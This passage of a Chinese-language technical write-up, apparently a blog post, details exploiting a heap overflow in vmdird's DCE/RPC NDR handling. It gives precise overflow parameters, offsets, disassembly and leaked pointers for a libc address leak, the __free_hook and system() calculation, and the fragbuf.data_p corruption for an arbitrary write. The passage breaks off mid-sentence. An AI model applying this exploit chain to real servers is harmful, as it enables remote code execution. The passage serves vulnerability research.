leaf="">Thread 5: NDR_buffer_5</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">五、Info Leak：从堆中泄露 libc 地址</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">溢出参数</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">max_count    = 0x60B4  → malloc(0xC168) → chunk 0xC170</span></code><br/><code><span leaf="">offset       = 0x6148  → 写入位置 = buffer + 0xC290</span></code><br/><code><span leaf="">actual_count = 2       → 写入 4 字节</span></code><br/><code><span leaf="">value        = 0x2000  → 新的 data_len 值</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">偏移计算：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">NDR buffer 到下一个 chunk 的用户数据: 0xC170 字节</span></code><br/><code><span leaf="">目标字段 (call_rep + 0x120): + 0x120 字节</span></code><br/><code><span leaf="">总偏移: 0xC170 + 0x120 = 0xC290 字节</span></code><br/><code><span leaf="">wchar 偏移: 0xC290 / 2 = 0x6148</span></code><br/></pre></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">data_len 的作用</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们最初认为 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_len</span></code><span leaf=""> 直接控制响应大小，但反汇编发现事实更微妙：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="asm"><code><span leaf="">; call_end_action_rtn (0x7c167):</span></code><br/><code><span leaf="">mov  0x120(%rbx), %edx    ; 读 data_len</span></code><br/><code><span leaf="">test %edx, %edx           ; 如果为 0 则不发送</span></code><br/><code><span leaf="">jne  send_response         ; 非零 → 发送</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">; rpc__cn_transmit_buffers:</span></code><br/><code><span leaf="">mov  0xc0c8(%rdi), %eax   ; frag_length 来自 +0xC0C8，不是 +0x120</span></code><br/><code><span leaf="">mov  %ax, 0x8(%rsi)       ; 写入 PDU header</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_len</span></code><span leaf=""> 控制的是发送循环的次数，而非单次 PDU 大小。将 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_len</span></code><span leaf=""> 从 0x18 改为 0x2000 使得循环多次执行，累计发送远超正常的数据量——其中包含堆上的残留数据。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">泄露结果</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第 6 轮（120 并发连接）出现 2 个 8196 字节的响应（正常为 28 字节）：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">ENLARGED! 8196 bytes</span></code><br/><code><span leaf="">  +0x2f0: 0x00007f76fbad8000</span></code><br/><code><span leaf="">  +0x3a0: 0x00007f7b43a70540  → libc + 0x81540</span></code><br/><code><span leaf="">  +0x3a8: 0x00007f7b43a70ac0  → libc + 0x81ac0</span></code><br/><code><span leaf="">  +0x3c8: 0x00007f7b43b9eee0  → libc + 0x1afee0</span></code><br/><code><span leaf="">  +0x658: 0x00007f7b45f06640  → dcerpc + 0x77640</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">偏移 0x81540 的指针多次出现且稳定，用于计算 libc 基地址：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">libc_base = leaked_ptr - 0x81540</span></code><br/><code><span leaf="">__free_hook = libc_base + 0x1b5908</span></code><br/><code><span leaf="">__libc_system = libc_base + 0x42860</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">六、任意地址写入：fragbuf.data_p 腐蚀</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">目标：__free_hook</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">选择 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">__free_hook</span></code><span leaf=""> 而非 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free@GOT</span></code><span leaf=""> 的原因：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free@GOT</span></code><span leaf=""> 只影响 vmdird 自身代码的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free()</span></code><span leaf=""> 调用</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">libdcerpc 的 NDR cleanup 通过自己的 GOT 调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free()</span></code><span leaf="">，不受影响</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">__free_hook</span></code><span leaf=""> 是 glibc 全局钩子，影响</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">所有</span></strong><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free()</span></code><span leaf=""> 调用</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">NDR cleanup 释放 wchar buffer 时也会经过 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">__free_hook</span></code><span leaf=""> → 可以触发 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">system()</span></code></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">腐蚀 fragbuf.data_p</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同样使用并发技术，但混合了 partial BIND（创建 fragbuf）和 overflow 请求：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">offset       = 0x60C8  → 写入位置 = buffer + 0xC190</span></code><br/><code><span leaf="">                        = next_chunk_user + 0x20 (fragbuf.data_p)</span></code><br/><code><span leaf="">actual_count = 4       → 写入 8 字节（一个指针）</span></code><br/><code><span leaf="">value        = __free_hook - 0x18</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为什么是 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">__free_hook - 0x18</span></code><span leaf="">？因为两步写入机制（详见下节）。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">命中率</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每轮约 60% 概率命中 1-4 个 fragbuf。通过堆扫描验证：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">Round 1: 4 HITS</span></code><br/><code><span leaf="">  fragbuf 0x7f6e9003b3d0: data_p = 0x744468 ← TARGET!</span></code><br/><code><span leaf="">  fragbuf 0x7f6e9403a130: data_p = 0x744468 ← TARGET!</span></code><br/><code><span leaf="">  fragbuf 0x7f6ea803a9a0: data_p = 0x744468 ← TARGET!</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">七、两步写入：绕过 stale iov_base</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是整个利用过程中最精妙的一步。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">问题</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当 partial BIND 连接建立后，服务器线程在 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">recvmsg()</span></code><span leaf=""> 中阻塞等待数据。此时 iov 结构已经设置好：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><code><span leaf="">iov.iov_base = fragbuf-&gt;data_p + fragbuf-&gt;data_size;  // 旧值</span></code><br/><code><span leaf="">iov.iov_len  = ...;</span></code><br/><code><span leaf="">recvmsg(fd, &amp;msg, 0);  // 阻塞，使用旧 iov</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">即使我们腐蚀了 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_p</span></code><span leaf="">，当前阻塞的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span 